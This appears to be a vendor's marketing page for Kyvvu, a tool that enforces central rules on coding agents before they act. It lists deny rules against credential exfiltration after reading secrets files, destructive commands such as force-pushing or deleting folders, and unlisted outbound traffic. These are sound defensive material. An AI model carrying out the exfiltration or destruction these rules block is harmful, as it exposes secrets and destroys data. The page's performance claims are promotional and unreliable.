You review the PR.
Who reviewed the 400 commands that led to it?

The fix

Rules you write once. Enforced on every agent, on every machine.

Kyvvu checks what a coding agent is about to do, before it does it — and lets it through, flags it, or stops it. You set the rules centrally; they apply to every developer, every laptop, every build pipeline, immediately.

The check runs on the machine itself, next to the agent. Your source code, your secrets and your prompts never leave your environment and never reach us. Kyvvu is a European company, and this is deliberate.

The rules you switch on

Plain sentences, not code. Switch on the ones that apply, and set each to warn or block.

• An agent that has read a secrets file may not run commands or reach the internet afterwards. Stops the single most common way credentials walk out the door.
• No destructive command — wiping a repository, force-pushing over history, deleting a folder — without a human approving it first. The action pauses and waits for a person, instead of being undone afterwards.
• An agent may not touch anything outside the project it was started in. No wandering into other repositories, other customers' code, or the rest of the disk.
• No agent may act on production systems. Ever, or only with named approval. Your call, per team.
• Nothing leaves for an address that isn't on your list. Source code and customer data stay where they belong.
• An agent that starts looping or running away gets stopped automatically. Runaway agents burn money and cause damage; this ends them early.

Those are the ones we ship. You can switch any of them off, change them, or write your own — they are sentences, not code, and they live in your repository rather than in our console.

Start with everything set to warn. Nothing is blocked, nothing breaks, and after two weeks you have something you have never had before: a factual picture of what the coding agents in your company are actually doing. Then you turn the important ones to block.

One place to set the rules. Nothing leaves the machine.

This is the part security teams ask about first, so plainly: the check happens on the developer's own machine, inside the agent itself. There is nothing for your traffic to pass through, no copy of your code sitting with a vendor, and no dependency on us being available. If our servers went dark tomorrow, enforcement on your laptops would carry on.

• Rules are written once, centrally, and versioned like any other config. You write your own — starting from ours rather than from a blank page. They are readable sentences, and they live in your repository, not in a vendor's console.
• Enforcement runs locally, inside each agent. Your source code, your secrets and your prompts stay on the machine. They are never sent to us, because there is nowhere for them to be sent.
• The record goes wherever your other logs already go. Straight into Splunk, Datadog, or whatever you run — so the audit trail need never touch us at all. Use our dashboard instead if you'd rather not wire anything up.
• The trail covers every policy, not only the ones that fired. Which rules were in force, what was checked, what was allowed, what was blocked, on whose machine, in what order. That is what an auditor asks for, and it is a by-product of the mechanism rather than a report someone writes.

What the beta looks like

Three steps, and we do most of the work

Which agents it covers

Claude Code works today — command line, VS Code, JetBrains and GitHub Actions. The rest are being built alongside the beta teams, in the order the beta teams need them. Tick the ones you use in the form and you decide what we build first.

Where this comes from

Not a prototype. The engine is already in production.

Kyvvu's security engine has been running for a while now, governing custom AI agents inside organisations in financial services, insurance and healthcare — the kind of places that ask hard questions before anything gets near their data. It is built on published research, and the parts you would want to inspect are source-available rather than a black box.

Coding agents are that same problem, in the form every company now has. What is new here is the packaging, not the security engine underneath it.

What it costs

Pricing shown is indicative and may change before general availability. Beta participants will be told before anything changes.

Questions we get asked first

Does our code or data go to you?

No. The check runs on the developer's own machine, inside the agent — your source code, your secrets and your prompts never leave it. Only the decisions travel, and you choose where they travel to: straight into your own logging (Splunk, Datadog, whatever you already run), in which case they never reach us at all, or into our dashboard if you'd rather not wire anything up.

Will this slow developers down or get in their way?

Not measurably. The check adds well under a millisecond, and in watch-only mode nothing is blocked at all. Most teams run the first two weeks without a single developer noticing.

Can a developer just switch it off?

The rules are set centrally, not on the laptop, and attempts to bypass are recorded. This is a management control, not a suggestion.

We only use Cursor / Copilot / something else.

Say so in the form. Claude Code works today; the rest is being built with the beta teams, and what our beta teams use is what we build first.

Can we write our own rules?

Yes, and most teams do within the first month. Ours are a starting point, not a fixed list. They are readable sentences, they live in your own repository, and they are reviewed like any other change.

What does the audit trail give us?

A tamper-evident record covering every policy — not only the ones that fired. Which rules were in force, what was checked, what was allowed, what was blocked, on whose machine, in what order. It answers "what did our AI actually touch?" for your board, your customers, your auditor and the EU AI Act — and it is a by-product of the enforcement, not a report someone has to write.

What's the catch with the private beta?

Here's the honest version. We sell agent security to large organisations building their own AI agents — that's the business. Along the way we built ourselves a small tool to watch our own developers' Claude Code usage, because we weren't comfortable not knowing, and we've been running it internally for months. Enough CISOs have now told us they have the same gap that we want to find out whether our internal tool is genuinely useful to anyone else, or whether it only suits us. That's the whole experiment. You get it free and you get our attention; we get to find out if there is a product here. If the answer turns out to be no, we will tell you that rather than quietly keep charging you.

Kyvvu is an Agent Security Kernel — a security layer that runs inside AI agents and checks every action before it runs. Built on Runtime Governance for AI Agents: Policies on Paths — Maurits Kaptein, full professor, Eindhoven University of Technology. European company; your data never leaves your environment.